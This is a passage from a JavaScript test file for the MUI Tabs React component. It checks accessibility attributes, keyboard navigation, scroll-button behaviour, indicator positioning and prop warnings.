hasLeftScrollButton(container) {\n  const scrollButton = findScrollButton(container, 'left');\n\n  if (!scrollButton) {\n    return false;\n  }\n\n  return !scrollButton.parentElement.classList.contains('Mui-disabled');\n}\n\nfunction hasRightScrollButton(container) {\n  const scrollButton = findScrollButton(container, 'right');\n\n  if (!scrollButton) {\n    return false;\n  }\n\n  return !scrollButton.parentElement.classList.contains('Mui-disabled');\n}\n\nconst isSafari = /^((?!chrome|android).)*safari/i.test(navigator.userAgent);\n\ndescribe.skipIf(isSafari)('<Tabs />', () => {\n  const { clock, render, renderToString } = createRenderer();\n\n  describeConformance(<Tabs value={0} />, () => ({\n    classes,\n    inheritComponent: 'div',\n    render,\n    muiName: 'MuiTabs',\n    refInstanceof: window.HTMLDivElement,\n    testComponentPropWith: 'header',\n    testStateOverrides: { prop: 'orientation', value: 'vertical', styleKey: 'vertical' },\n    slots: {\n      root: {\n        expectedClassName: classes.root,\n      },\n      scroller: {\n        expectedClassName: classes.scroller,\n      },\n      list: {\n        expectedClassName: classes.list,\n      },\n      indicator: {\n        expectedClassName: classes.indicator,\n      },\n    },\n    skip: ['themeVariants'],\n  }));\n\n  it('can be named via `aria-label`', () => {\n    render(<Tabs aria-label=\"string label\" />);\n\n    expect(screen.getByRole('tablist')).toHaveAccessibleName('string label');\n  });\n\n  it('can be named via `aria-labelledby`', () => {\n    render(\n      <React.Fragment>\n        <h3 id=\"label-id\">complex name</h3>\n        <Tabs aria-labelledby=\"label-id\" />\n      </React.Fragment>,\n    );\n\n    expect(screen.getByRole('tablist')).toHaveAccessibleName('complex name');\n  });\n\n  it('should not add tabindex to the tabs if the selected tab already has it', () => {\n    render(\n      <Tabs value={0}>\n        <Tab tabIndex={-1} />\n        <Tab tabIndex={0} />\n      </Tabs>,\n    );\n\n    const tabElements = screen.getAllByRole('tab');\n\n    expect(tabElements[0].tabIndex).to.equal(-1);\n    expect(tabElements[1].tabIndex).to.equal(0);\n  });\n\n  describe('keyboard navigation', () => {\n    it('should move focus to the next tab when pressing the right arrow key', async () => {\n      const { user } = render(\n        <Tabs value={0}>\n          <Tab />\n          <Tab disabled />\n          <Tab />\n        </Tabs>,\n      );\n\n      const tabElements = screen.getAllByRole('tab');\n\n      await user.tab();\n      expect(tabElements[0]).toHaveFocus();\n      expect(tabElements[0]).to.have.attribute('tabIndex', '0');\n      expect(tabElements[1]).to.have.attribute('tabIndex', '-1');\n\n      await user.keyboard('{ArrowRight}');\n      expect(tabElements[2]).toHaveFocus();\n      expect(tabElements[2]).to.have.attribute('tabIndex', '0');\n      expect(tabElements[0]).to.have.attribute('tabIndex', '-1');\n\n      await user.keyboard('{ArrowRight}');\n      expect(tabElements[0]).toHaveFocus();\n      expect(tabElements[0]).to.have.attribute('tabIndex', '0');\n      expect(tabElements[1]).to.have.attribute('tabIndex', '-1');\n\n      await user.keyboard('{ArrowLeft}');\n      expect(tabElements[2]).toHaveFocus();\n      expect(tabElements[2]).to.have.attribute('tabIndex', '0');\n      expect(tabElements[0]).to.have.attribute('tabIndex', '-1');\n\n      await user.keyboard('{ArrowLeft}');\n      expect(tabElements[0]).toHaveFocus();\n      expect(tabElements[0]).to.have.attribute('tabIndex', '0');\n      expect(tabElements[1]).to.have.attribute('tabIndex', '-1');\n    });\n\n    it('should add tabindex=\"0\" to the focused tab', async () => {\n      const { user } = render(\n        <Tabs value={0}>\n          <Tab />\n          <Tab />\n        </Tabs>,\n      );\n\n      const tabElements = screen.getAllByRole('tab');\n\n      fireEvent.focus(tabElements[1]);\n      expect(tabElements[1]).to.have.attribute('tabIndex', '0');\n      expect(tabElements[0]).to.have.attribute('tabIndex', '-1');\n\n      await user.click(tabElements[0]);\n      expect(tabElements[0]).to.have.attribute('tabIndex', '0');\n      expect(tabElements[1]).to.have.attribute('tabIndex', '-1');\n    });\n  });\n\n  describe('warnings', () => {\n    it('should warn if the input is invalid', () => {\n      expect(() => {\n        render(<Tabs value={0} centered variant=\"scrollable\" />);\n      }).toErrorDev([\n        'MUI: You can not use the `centered={true}` and `variant=\"scrollable\"`',\n        !strictModeDoubleLoggingSuppressed &&\n          'MUI: You can not use the `centered={true}` and `variant=\"scrollable\"`',\n        'MUI: You can not use the `centered={true}` and `variant=\"scrollable\"`',\n        !strictModeDoubleLoggingSuppressed &&\n          'MUI: You can not use the `centered={true}` and `variant=\"scrollable\"`',\n      ]);\n    });\n  });\n\n  describe('prop: action', () => {\n    it('should be able to access updateIndicator function', () => {\n      let tabsActions = {};\n      render(\n        <Tabs\n          value={0}\n          action={(actions) => {\n            tabsActions = actions;\n          }}\n        >\n          <Tab />\n          <Tab />\n        </Tabs>,\n      );\n\n      expect(typeof tabsActions.updateIndicator).to.equal('function');\n      tabsActions.updateIndicator();\n    });\n  });\n\n  describe('prop: centered', () => {\n    it('should render with the centered class', () => {\n      const { container } = render(\n        <Tabs value={0} centered>\n          <Tab />\n          <Tab />\n        </Tabs>,\n      );\n      const selector = `.${classes.list}.${classes.centered}`;\n      expect(container.querySelector(selector).nodeName).to.equal('DIV');\n    });\n  });\n\n  describe('prop: children', () => {\n    it('should accept a null child', () => {\n      render(\n        <Tabs value={0}>\n          {null}\n          <Tab />\n        </Tabs>,\n      );\n\n      expect(screen.getAllByRole('tab')).to.have.lengthOf(1);\n    });\n\n    it('should support empty children', () => {\n      render(<Tabs value={1} />);\n    });\n\n    it('puts the selected child in tab order', () => {\n      const { setProps } = render(\n        <Tabs value={1}>\n          <Tab />\n          <Tab />\n        </Tabs>,\n      );\n\n      expect(screen.getAllByRole('tab').map((tab) => tab.tabIndex)).to.have.ordered.members([\n        -1, 0,\n      ]);\n\n      setProps({ value: 0 });\n\n      expect(screen.getAllByRole('tab').map((tab) => tab.tabIndex)).to.have.ordered.members([\n        0, -1,\n      ]);\n    });\n  });\n\n  it('props: slots and slotProps, should render custom start and end icons', () => {\n    const tabs = (\n      <Tabs\n        value={0}\n        variant=\"scrollable\"\n        scrollButtons\n        textColor=\"secondary\"\n        slots={{\n          startScrollButtonIcon: ArrowBackIcon,\n          endScrollButtonIcon: ArrowForwardIcon,\n        }}\n        slotProps={{\n          endScrollButtonIcon: (ownerState) => ({\n            'data-testid': 'test-label-scrollButtonEnd',\n            fontSize: ownerState.textColor === 'secondary' ? 'large' : 'small',\n          }),\n          startScrollButtonIcon: (ownerState) => ({\n            'data-testid': 'test-label-scrollButtonStart',\n            fontSize: ownerState.textColor === 'secondary' ? 'large' : 'small',\n          }),\n        }}\n      >\n        <Tab />\n        <Tab />\n      </Tabs>\n    );\n\n    render(tabs);\n    expect(screen.getAllByTestId('test-label-scrollButtonStart')).to.have.lengthOf(1);\n    expect(screen.getAllByTestId('test-label-scrollButtonEnd')).to.have.lengthOf(1);\n    expect(screen.getByTestId('test-label-scrollButtonStart')).to.have.class(\n      svgIconClasses.fontSizeLarge,\n    );\n    expect(screen.getByTestId('test-label-scrollButtonEnd')).to.have.class(\n      svgIconClasses.fontSizeLarge,\n    );\n  });\n\n  describe('prop: value', () => {\n    const tabs = (\n      <Tabs value={1}>\n        <Tab />\n        <Tab />\n      </Tabs>\n    );\n\n    it('should pass selected prop to children', () => {\n      render(tabs);\n      const tabElements = screen.getAllByRole('tab');\n      expect(tabElements[0]).to.have.attribute('aria-selected', 'false');\n      expect(tabElements[1]).to.have.attribute('aria-selected', 'true');\n    });\n\n    it('should accept any value as selected tab value', () => {\n      const tab0 = {};\n      const tab1 = {};\n      expect(tab0).not.to.equal(tab1);\n\n      render(\n        <Tabs value={tab0}>\n          <Tab value={tab0} />\n          <Tab value={tab1} />\n        </Tabs>,\n      );\n\n      const tabElements = screen.getAllByRole('tab');\n      expect(tabElements[0]).to.have.attribute('aria-selected', 'true');\n      expect(tabElements[1]).to.have.attribute('aria-selected', 'false');\n    });\n\n    describe('indicator', () => {\n      it('should accept a false value', () => {\n        const { container } = render(\n          <Tabs value={false}>\n            <Tab />\n            <Tab />\n          </Tabs>,\n        );\n        expect(container.querySelector(`.${classes.indicator}`).style.width).to.equal('0px');\n      });\n\n      it('should render the indicator', () => {\n        const { container } = render(\n          <Tabs value={1}>\n            <Tab />\n            <Tab />\n          </Tabs>,\n        );\n        const tabElements = screen.getAllByRole('tab');\n        expect(tabElements[0].querySelector(`.${classes.indicator}`)).to.equal(null);\n        expect(tabElements[1].querySelector(`.${classes.indicator}`)).to.equal(null);\n        expect(container.querySelector(`.${classes.indicator}`)).not.to.equal(null);\n      });\n\n      it('should update the indicator at each render', function test() {\n        const { forceUpdate, container } = render(\n          <Tabs value={1}>\n            <Tab />\n            <Tab />\n          </Tabs>,\n        );\n        const tablistContainer = screen.getByRole('tablist').parentElement;\n        const tab = screen.getByRole('tablist').children[1];\n\n        Object.defineProperty(tablistContainer, 'clientWidth', { value: 100 });\n        Object.defineProperty(tablistContainer, 'scrollWidth', { value: 100 });\n        tablistContainer.getBoundingClientRect = () => ({\n          left: 0,\n          right: 100,\n        });\n        tab.getBoundingClientRect = () => ({\n          left: 50,\n          width: 50,\n          right: 100,\n        });\n        forceUpdate();\n        let style;\n        style = container.querySelector(`.${classes.indicator}`).style;\n        expect(style.left).to.equal('50px');\n        expect(style.width).to.equal('50px');\n        tab.getBoundingClientRect = () => ({\n          left: 60,\n          width: 50,\n          right: 110,\n        });\n        forceUpdate();\n        style = container.querySelector(`.${classes.indicator}`).style;\n        expect(style.left).to.equal('60px');\n        expect(style.width).to.equal('50px');\n      });\n\n      it('should have \"right\" for RTL', () => {\n        const { forceUpdate, container } = render(\n          <div dir=\"rtl\">\n            <Tabs value={1}>\n              <Tab />\n              <Tab />\n            </Tabs>\n          </div>,\n          {\n            wrapper: ({ children }) => (\n              <ThemeProvider theme={createTheme({ direction: 'rtl' })}>{children}</ThemeProvider>\n            ),\n          },\n        );\n\n        const tablistContainer = screen.getByRole('tablist').parentElement;\n        const tab = screen.getByRole('tablist').children[1];\n\n        Object.defineProperty(tablistContainer, 'clientWidth', { value: 100 });\n        Object.defineProperty(tablistContainer, 'scrollWidth', { value: 100 });\n        tablistContainer.getBoundingClientRect = () => ({\n          left: 0,\n          right: 100,\n        });\n        tab.getBoundingClientRect = () => ({\n          left: 50,\n          width: 50,\n          right: 100,\n        });\n        forceUpdate();\n        expect(container.querySelector(`.${classes.indicator}`)).toHaveInlineStyle({\n          right: '0px',\n          width: '50px',\n        });\n        tab.getBoundingClientRect = () => ({\n          left: 40,\n          width: 50,\n          right: 90,\n        });\n        forceUpdate();\n        expect(container.querySelector(`.${classes.indicator}`)).toHaveInlineStyle({\n          right: '10px',\n          width: '50px',\n        });\n      });\n    });\n\n    describe('warnings', () => {\n      it('warns when the value is not present in any tab', () => {\n        expect(() => {\n          render(\n            <Tabs value={2}>\n              <Tab value={1} />\n              <Tab value={3} />\n            </Tabs>,\n          );\n        }).toErrorDev([\n          'You can provide one of the following values: 1, 3',\n          // React Strict Mode runs mount effects twice\n          reactMajor >= 18 && 'You can provide one of the following values: 1, 3',\n          'You can provide one of the following values: 1, 3',\n          // React Strict Mode runs mount effects twice\n          reactMajor >= 18 && 'You can provide one of the following values: 1, 3',\n          'You can provide one of the following values: 1, 3',\n          'You can provide one of the following values: 1, 3',\n        ]);\n      });\n\n      describe.skipIf(!isJsdom())('hidden tab / tabs', () => {\n        let nodeEnv;\n\n        beforeAll(function test() {\n          nodeEnv = process.env.NODE_ENV;\n          Object.defineProperty(process.env, 'NODE_ENV', {\n            value: 'development',\n            configurable: true,\n            writable: true,\n            enumerable: true,\n          });\n        });\n\n        afterAll(() => {\n          Object.defineProperty(process.env, 'NODE_ENV', {\n            value: nodeEnv,\n            configurable: true,\n            writable: true,\n            enumerable: true,\n          });\n        });\n\n        it.skipIf(isJSDOM)('should warn if a `Tab` has display: none', function test() {\n          expect(() => {\n            render(\n              <Tabs value=\"hidden-tab\">\n                <Tab value=\"hidden-tab\" style={{ display: 'none' }} />\n              </Tabs>,\n            );\n          }).toErrorDev([\n            [\n              'MUI: The `value` provided to the Tabs component is invalid.',\n              'The Tab with this `value` (\"hidden-tab\") is not part of the document layout.',\n              \"Make sure the tab item is present in the document or that it's not `display: none`.\",\n            ].join('\\n'),\n          ]);\n        });\n\n        it('should not warn if the whole Tabs is hidden', function test() {\n          expect(() => {\n            render(\n              <Tabs value=\"demo\" style={{ display: 'none' }}>\n                <Tab value=\"demo\" style={{ display: 'none' }} />\n              </Tabs>,\n            );\n          }).not.toErrorDev();\n        });\n      });\n    });\n  });\n\n  describe('prop: onChange', () => {\n    it('should call onChange when clicking', () => {\n      const handleChange = spy();\n\n      render(\n        <Tabs value={0} onChange={handleChange}>\n          <Tab />\n          <Tab />\n        </Tabs>,\n      );\n\n      fireEvent.click(screen.getAllByRole('tab')[1]);\n      expect(handleChange.callCount).to.equal(1);\n      expect(handleChange.args[0][1]).to.equal(1);\n    });\n\n    it('should not call onChange when already selected', () => {\n      const handleChange = spy();\n\n      render(\n        <Tabs value={0} onChange={handleChange}>\n          <Tab />\n          <Tab />\n        </Tabs>,\n      );\n\n      fireEvent.click(screen.getAllByRole('tab')[0]);\n      expect(handleChange.callCount).to.equal(0);\n    });\n\n    it('when `selectionFollowsFocus` should call if an unselected tab gets focused', async () => {\n      const handleChange = spy();\n\n      render(\n        <Tabs value={0} onChange={handleChange} selectionFollowsFocus>\n          <Tab />\n          <Tab />\n        </Tabs>,\n      );\n\n      const [, lastTab] = screen.getAllByRole('tab');\n\n      await act(async () => {\n        lastTab.focus();\n      });\n\n      expect(handleChange.callCount).to.equal(1);\n      expect(handleChange.firstCall.args[1]).to.equal(1);\n    });\n\n    it('when `selectionFollowsFocus` should not call if an selected tab gets focused', async () => {\n      const handleChange = spy();\n\n      render(\n        <Tabs value={0} onChange={handleChange} selectionFollowsFocus>\n          <Tab />\n          <Tab />\n        </Tabs>,\n      );\n\n      const [firstTab] = screen.getAllByRole('tab');\n\n      await act(async () => {\n        firstTab.focus();\n      });\n\n      expect(handleChange.callCount).to.equal(0);\n    });\n  });\n\n  describe('prop: variant=\"scrollable\"', () => {\n    const tabs = (\n      <Tabs value={0} style={{ width: 200 }} variant=\"scrollable\">\n        <Tab style={{ width: 120, minWidth: 'auto' }} />\n        <Tab style={{ width: 120, minWidth: 'auto' }} />\n        <Tab style={{ width: 120, minWidth: 'auto' }} />\n      </Tabs>\n    );\n\n    it('should render with the scrollable class', () => {\n      const { container } = render(tabs);\n      const selector = `.${classes.scroller}.${classes.scrollableX}`;\n      expect(container.querySelector(selector).tagName).to.equal('DIV');\n      expect(container.querySelectorAll(selector)).to.have.lengthOf(1);\n    });\n\n    it('should get a scrollbar size listener', () => {\n      const { setProps } = render(\n        <Tabs value={0}>\n          <Tab />\n          <Tab />\n        </Tabs>,\n      );\n      const tablistContainer = screen.getByRole('tablist').parentElement;\n      expect(tablistContainer.style.overflow).to.equal('hidden');\n      setProps({\n        variant: 'scrollable',\n      });\n      expect(tablistContainer.style.overflow).to.equal('');\n    });\n\n    it('should handle theme styleOverrides for scrollable tabs without crashing', () => {\n      const theme = createTheme({\n        components: {\n          MuiTabs: {\n            styleOverrides: {\n              root: ({ ownerState: { orientation } }) => ({\n                ...(orientation === 'vertical'\n                  ? {\n                      background: 'magenta',\n                    }\n                  : {\n                      background: 'lime',\n                    }),\n              }),\n            },\n          },\n        },\n      });\n\n      expect(() =>\n        render(\n          <ThemeProvider theme={theme}>\n            <Tabs sx={{ width: 200 }} value={0} variant=\"scrollable\">\n              <Tab label=\"First\" />\n              <Tab label=\"Second\" />\n            </Tabs>\n          </ThemeProvider>,\n        ),\n      ).not.to.throw();\n    });\n  });\n\n  describe('prop: !variant=\"scrollable\"', () => {\n    it('should not render with the scrollable class', () => {\n      const { container } = render(\n        <Tabs value={0}>\n          <Tab />\n          <Tab />\n        </Tabs>,\n      );\n      const baseSelector = `.${classes.scroller}`;\n      const selector = `.${classes.scroller}.${classes.scrollableX}`;\n      expect(container.querySelector(baseSelector)).not.to.equal(null);\n      expect(container.querySelector(selector)).to.equal(null);\n    });\n  });\n\n  describe('prop: scrollButtons', () => {\n    it('should render scroll buttons', () => {\n      const { container } = render(\n        <Tabs value={0} variant=\"scrollable\" scrollButtons>\n          <Tab />\n          <Tab />\n        </Tabs>,\n      );\n      expect(container.querySelectorAll(`.${classes.scrollButtons}`)).to.have.lengthOf(2);\n    });\n\n    it('should append className from slotProps.scrollButtons', () => {\n      const { container } = render(\n        <Tabs\n          value={0}\n          variant=\"scrollable\"\n          scrollButtons\n          slotProps={{ scrollButtons: { className: 'foo' } }}\n        >\n          <Tab />\n          <Tab />\n        </Tabs>,\n      );\n      expect(container.querySelectorAll(`.${classes.scrollButtons}`)).to.have.lengthOf(2);\n      expect(container.querySelectorAll('.foo')).to.have.lengthOf(2);\n    });\n\n    it('should not hide scroll buttons when allowScrollButtonsMobile is true', () => {\n      const { container } = render(\n        <Tabs value={0} variant=\"scrollable\" scrollButtons allowScrollButtonsMobile>\n          <Tab />\n          <Tab />\n        </Tabs>,\n      );\n\n      expect(container.querySelectorAll(`.${classes.scrollButtonsHideMobile}`)).to.have.lengthOf(0);\n    });\n\n    describe('scroll button visibility states', () => {\n      it('should set neither left nor right scroll button state', function test() {\n        const { container } = render(\n          <Tabs value={0} variant=\"scrollable\" scrollButtons style={{ width: 200 }}>\n            <Tab style={{ width: 50, minWidth: 'auto' }} />\n            <Tab style={{ width: 50, minWidth: 'auto' }} />\n          </Tabs>,\n        );\n\n        expect(hasLeftScrollButton(container)).to.equal(false);\n        expect(hasRightScrollButton(container)).to.equal(false);\n      });\n\n      it.skipIf(isJSDOM)('should set only left scroll button state', async function test() {\n        const { container } = render(\n          <Tabs value={0} variant=\"scrollable\" scrollButtons style={{ width: 200 }}>\n            <Tab style={{ width: 120, minWidth: 'auto' }} />\n            <Tab style={{ width: 120, minWidth: 'auto' }} />\n            <Tab style={{ width: 120, minWidth: 'auto' }} />\n          </Tabs>,\n        );\n        const tablistContainer = screen.getByRole('tablist').parentElement;\n\n        tablistContainer.scrollLeft = 240;\n\n        await waitFor(() => {\n          expect(hasLeftScrollButton(container)).to.equal(true);\n        });\n        expect(hasRightScrollButton(container)).to.equal(false);\n      });\n\n      it.skipIf(isJSDOM)('should set only right scroll button state', async function test() {\n        const { container } = render(\n          <Tabs value={0} variant=\"scrollable\" scrollButtons style={{ width: 200 }}>\n            <Tab />\n            <Tab />\n            <Tab />\n          </Tabs>,\n        );\n        const tablistContainer = screen.getByRole('tablist').parentElement;\n\n        tablistContainer.scrollLeft = 0;\n\n        await waitFor(() => {\n          expect(hasLeftScrollButton(container)).to.equal(false);\n        });\n        await waitFor(() => {\n          expect(hasRightScrollButton(container)).to.equal(true);\n        });\n      });\n\n      it.skipIf(isJSDOM)(\n        'should set both left and right scroll button state',\n        async function test() {\n          const { container } = render(\n            <Tabs value={0} variant=\"scrollable\" scrollButtons style={{ width: 200 }}>\n              <Tab style={{ width: 120, minWidth: 'auto' }} />\n              <Tab style={{ width: 120, minWidth: 'auto' }} />\n            </Tabs>,\n          );\n          const tablistContainer = screen.getByRole('tablist').parentElement;\n\n          tablistContainer.scrollLeft = 5;\n\n          await waitFor(() => {\n            expect(hasLeftScrollButton(container)).to.equal(true);\n          });\n          await waitFor(() => {\n            expect(hasRightScrollButton(container)).to.equal(true);\n          });\n        },\n      );\n    });\n  });\n\n  describe('scroll button behavior', () => {\n    clock.withFakeTimers();\n\n    it.skipIf(isJSDOM)('should scroll visible items', async function test() {\n      clock.restore();\n      const { container } = render(\n        <Tabs value={0} variant=\"scrollable\" scrollButtons style={{ width: 200 }}>\n          <Tab style={{ width: 100, minWidth: 'auto' }} />\n          <Tab style={{ width: 50, minWidth: 'auto' }} />\n          <Tab style={{ width: 100, minWidth: 'auto' }} />\n        </Tabs>,\n      );\n      const tablistContainer = screen.getByRole('tablist').parentElement;\n\n      tablistContainer.scrollLeft = 20;\n\n      await waitFor(() => {\n        expect(hasLeftScrollButton(container)).to.equal(true);\n      });\n      expect(hasRightScrollButton(container)).to.equal(true);\n\n      fireEvent.click(findScrollButton(container, 'left'));\n      await waitFor(() => {\n        expect(tablistContainer.scrollLeft).not.to.be.above(0);\n      });\n\n      tablistContainer.scrollLeft = 0;\n      fireEvent.click(findScrollButton(container, 'right'));\n      await waitFor(() => {\n        expect(tablistContainer.scrollLeft).equal(100);\n      });\n    });\n\n    it('should horizontally scroll by width of partially visible item', () => {\n      const { container } = render(\n        <Tabs value={0} variant=\"scrollable\" scrollButtons style={{ width: 200 }}>\n          <Tab style={{ width: 220, minWidth: 'auto' }} />\n          <Tab style={{ width: 200, minWidth: 'auto' }} />\n          <Tab style={{ width: 200, minWidth: 'auto' }} />\n        </Tabs>,\n      );\n      const tablistContainer = screen.getByRole('tablist').parentElement;\n      const tabs = screen.getAllByRole('tab');\n      Object.defineProperty(tablistContainer, 'clientWidth', { value: 200 });\n      Object.defineProperty(tabs[0], 'clientWidth', { value: 220 });\n      Object.defineProperty(tabs[1], 'clientWidth', { value: 200 });\n      Object.defineProperty(tabs[2], 'clientWidth', { value: 200 });\n      Object.defineProperty(tablistContainer, 'scrollWidth', { value: 620 });\n\n      tablistContainer.scrollLeft = 0;\n      fireEvent.click(findScrollButton(container, 'right'));\n      clock.tick(1000);\n      expect(tablistContainer.scrollLeft).equal(200);\n    });\n\n    it('should vertically scroll by width of partially visible item', () => {\n      const { container } = render(\n        <Tabs\n          value={0}\n          variant=\"scrollable\"\n          orientation=\"vertical\"\n          scrollButtons\n          style={{ height: 100 }}\n        >\n          <Tab style={{ height: 48 }} />\n          <Tab style={{ height: 60 }} />\n          <Tab style={{ height: 60 }} />\n        </Tabs>,\n      );\n      const tablistContainer = screen.getByRole('tablist').parentElement;\n      const tabs = screen.getAllByRole('tab');\n      Object.defineProperty(tablistContainer, 'clientHeight', { value: 100 });\n      Object.defineProperty(tabs[0], 'clientHeight', { value: 48 });\n      Object.defineProperty(tabs[1], 'clientHeight', { value: 60 });\n      Object.defineProperty(tabs[2], 'clientHeight', { value: 60 });\n      Object.defineProperty(tablistContainer, 'scrollHeight', { value: 168 });\n\n      tablistContainer.scrollTop = 0;\n      fireEvent.click(findScrollButton(container, 'right'));\n      clock.tick(1000);\n      expect(tablistContainer.scrollTop).equal(48);\n    });\n  });\n\n  describe('scroll into view behavior', () => {\n    clock.withFakeTimers();\n\n    it('should scroll left tab into view', function test() {\n      const { forceUpdate } = render(\n        <Tabs value={0} variant=\"scrollable\" style={{ width: 200 }}>\n          <Tab style={{ width: 120, minWidth: 'auto' }} />\n          <Tab style={{ width: 120, minWidth: 'auto' }} />\n          <Tab style={{ width: 120, minWidth: 'auto' }} />\n        </Tabs>,\n      );\n      const tablist = screen.getByRole('tablist');\n      const tablistContainer = tablist.parentElement;\n      const tab = tablist.children[0];\n\n      Object.defineProperty(tablistContainer, 'clientWidth', { value: 200 - 40 * 2 });\n      Object.defineProperty(tablistContainer, 'scrollWidth', { value: 216 });\n      tablistContainer.scrollLeft = 20;\n      tablistContainer.getBoundingClientRect = () => ({\n        left: 0,\n        right: 100,\n      });\n      tab.getBoundingClientRect = () => ({\n        left: -20,\n        width: 50,\n        right: 30,\n      });\n      forceUpdate();\n      clock.tick(1000);\n      expect(tablistContainer.scrollLeft).to.equal(0);\n    });\n  });\n\n  describe('slotProps: indicator', () => {\n    it('should merge the style', () => {\n      const { container } = render(\n        <Tabs value={0} slotProps={{ indicator: { style: { backgroundColor: 'green' } } }}>\n          <Tab />\n        </Tabs>,\n      );\n      const style = container.querySelector(`.${classes.indicator}`).style;\n      expect(style.backgroundColor).to.equal('green');\n    });\n  });\n\n  describe('prop: orientation', () => {\n    it('should support orientation=\"vertical\"', function test() {\n      const { forceUpdate, container } = render(\n        <Tabs value={1} variant=\"scrollable\" scrollButtons orientation=\"vertical\">\n          <Tab />\n          <Tab />\n        </Tabs>,\n      );\n      const tablist = screen.getByRole('tablist');\n      const tablistContainer = tablist.parentElement;\n      const tab = tablist.children[1];\n\n      Object.defineProperty(tablistContainer, 'clientHeight', { value: 100 });\n      Object.defineProperty(tablistContainer, 'scrollHeight', { value: 100 });\n      tablistContainer.getBoundingClientRect = () => ({\n        top: 0,\n        bottom: 100,\n      });\n      tab.getBoundingClientRect = () => ({\n        top: 50,\n        height: 50,\n        bottom: 100,\n      });\n      forceUpdate();\n      let style;\n      style = container.querySelector(`.${classes.indicator}`).style;\n      expect(style.top).to.equal('50px');\n      expect(style.height).to.equal('50px');\n      tab.getBoundingClientRect = () => ({\n        top: 60,\n        height: 50,\n        bottom: 110,\n      });\n      forceUpdate();\n      style = container.querySelector(`.${classes.indicator}`).style;\n      expect(style.top).to.equal('60px');\n      expect(style.height).to.equal('50px');\n    });\n\n    it('does not add aria-orientation by default', () => {\n      render(<Tabs value={0} />);\n\n      expect(screen.getByRole('tablist')).not.to.have.attribute('aria-orientation');\n    });\n\n    it('adds the proper aria-orientation when vertical', () => {\n      render(<Tabs value={0} orientation=\"vertical\" />);\n\n      expect(screen.getByRole('tablist')).to.have.attribute('aria-orientation', 'vertical');\n    });\n  });\n\n  describe('server-side render', () => {\n    it('should let the selected <Tab /> render the indicator server-side', () => {\n      const { container } = renderToString(\n        <Tabs value={1}>\n          <Tab />\n          <Tab />\n        </Tabs>,\n      );\n      const indicator = container.firstChild.querySelectorAll(`button > .${classes.indicator}`);\n      expect(indicator).to.have.lengthOf(1);\n    });\n  });\n\n  describe('keyboard navigation when focus is on a tab', () => {\n    [\n      ['horizontal', 'ltr', 'ArrowLeft', 'ArrowRight'],\n      ['horizontal', 'rtl', 'ArrowRight', 'ArrowLeft'],\n      ['vertical', undefined, 'ArrowUp', 'ArrowDown'],\n    ].forEach((entry) => {\n      const [orientation, direction, previousItemKey, nextItemKey] = entry;\n\n      let wrapper;\n      beforeAll(() => {\n        const theme = createTheme({ direction });\n        wrapper = ({ children }) => <ThemeProvider theme={theme}>{children}</ThemeProvider>;\n      });\n\n      describe(`when focus is on a tab element in a ${orientation} ${direction} tablist`, () => {\n        describe(`${previousItemKey}`, () => {\n          it('moves focus to the last tab without activating it if focus is on the first tab', async () => {\n            const handleChange = spy();\n            const handleKeyDown = spy();\n\n            render(\n              <Tabs\n                onChange={handleChange}\n                onKeyDown={handleKeyDown}\n                orientation={orientation}\n                value={1}\n              >\n                <Tab />\n                <Tab />\n                <Tab />\n              </Tabs>,\n              { wrapper },\n            );\n\n            const [firstTab, , lastTab] = screen.getAllByRole('tab');\n            await act(async () => {\n              firstTab.focus();\n            });\n\n            fireEvent.keyDown(firstTab, { key: previousItemKey });\n\n            expect(lastTab).toHaveFocus();\n            expect(handleChange.callCount).to.equal(0);\n            expect(handleKeyDown.callCount).to.equal(1);\n            expect(handleKeyDown.firstCall.args[0]).to.have.property('defaultPrevented', true);\n\n            await flushEffects();\n          });\n\n          it('when `selectionFollowsFocus` moves focus to the last tab while activating it if focus is on the first tab', async () => {\n            const handleChange = spy();\n            const handleKeyDown = spy();\n\n            render(\n              <Tabs\n                onChange={handleChange}\n                onKeyDown={handleKeyDown}\n                orientation={orientation}\n                selectionFollowsFocus\n                value={0}\n              >\n                <Tab />\n                <Tab />\n                <Tab />\n              </Tabs>,\n              { wrapper },\n            );\n\n            const [firstTab, , lastTab] = screen.getAllByRole('tab');\n            await act(async () => {\n              firstTab.focus();\n            });\n            fireEvent.keyDown(firstTab, { key: previousItemKey });\n\n            expect(lastTab).toHaveFocus();\n            expect(handleChange.callCount).to.equal(1);\n            expect(handleChange.firstCall.args[1]).to.equal(2);\n            expect(handleKeyDown.callCount).to.equal(1);\n            expect(handleKeyDown.firstCall.args[0]).to.have.property('defaultPrevented', true);\n\n            await flushEffects();\n          });\n\n          it('moves focus to the previous tab without activating it', async () => {\n            const handleChange = spy();\n            const handleKeyDown = spy();\n\n            render(\n              <Tabs\n                onChange={handleChange}\n                onKeyDown={handleKeyDown}\n                orientation={orientation}\n                value={1}\n              >\n                <Tab />\n                <Tab />\n                <Tab />\n              </Tabs>,\n              { wrapper },\n            );\n\n            const [firstTab, secondTab] = screen.getAllByRole('tab');\n            await act(async () => {\n              secondTab.focus();\n            });\n            fireEvent.keyDown(secondTab, { key: previousItemKey });\n\n            expect(firstTab).toHaveFocus();\n            expect(handleChange.callCount).to.equal(0);\n            expect(handleKeyDown.callCount).to.equal(1);\n            expect(handleKeyDown.firstCall.args[0]).to.have.property('defaultPrevented', true);\n\n            await flushEffects();\n          });\n\n          it('when `selectionFollowsFocus` moves focus to the previous tab while activating it', async () => {\n            const handleChange = spy();\n            const handleKeyDown = spy();\n\n            render(\n              <Tabs\n                onChange={handleChange}\n                onKeyDown={handleKeyDown}\n                orientation={orientation}\n                selectionFollowsFocus\n                value={1}\n              >\n                <Tab />\n                <Tab />\n                <Tab />\n              </Tabs>,\n              { wrapper },\n            );\n\n            const [firstTab, secondTab] = screen.getAllByRole('tab');\n            await act(async () => {\n              secondTab.focus();\n            });\n            fireEvent.keyDown(secondTab, { key: previousItemKey });\n\n            expect(firstTab).toHaveFocus();\n            expect(handleChange.callCount).to.equal(1);\n            expect(handleChange.firstCall.args[1]).to.equal(0);\n            expect(handleKeyDown.callCount).to.equal(1);\n            expect(handleKeyDown.firstCall.args[0]).to.have.property('defaultPrevented', true);\n\n            await flushEffects();\n          });\n\n          it('skips over disabled tabs', async () => {\n            const handleKeyDown = spy();\n\n            render(\n              <Tabs\n                onKeyDown={handleKeyDown}\n                orientation={orientation}\n                selectionFollowsFocus\n                value={1}\n              >\n                <Tab />\n                <Tab disabled />\n                <Tab />\n              </Tabs>,\n              { wrapper },\n            );\n\n            const [firstTab, , lastTab] = screen.getAllByRole('tab');\n            await act(async () => {\n              lastTab.focus();\n            });\n            fireEvent.keyDown(lastTab, { key: previousItemKey });\n\n            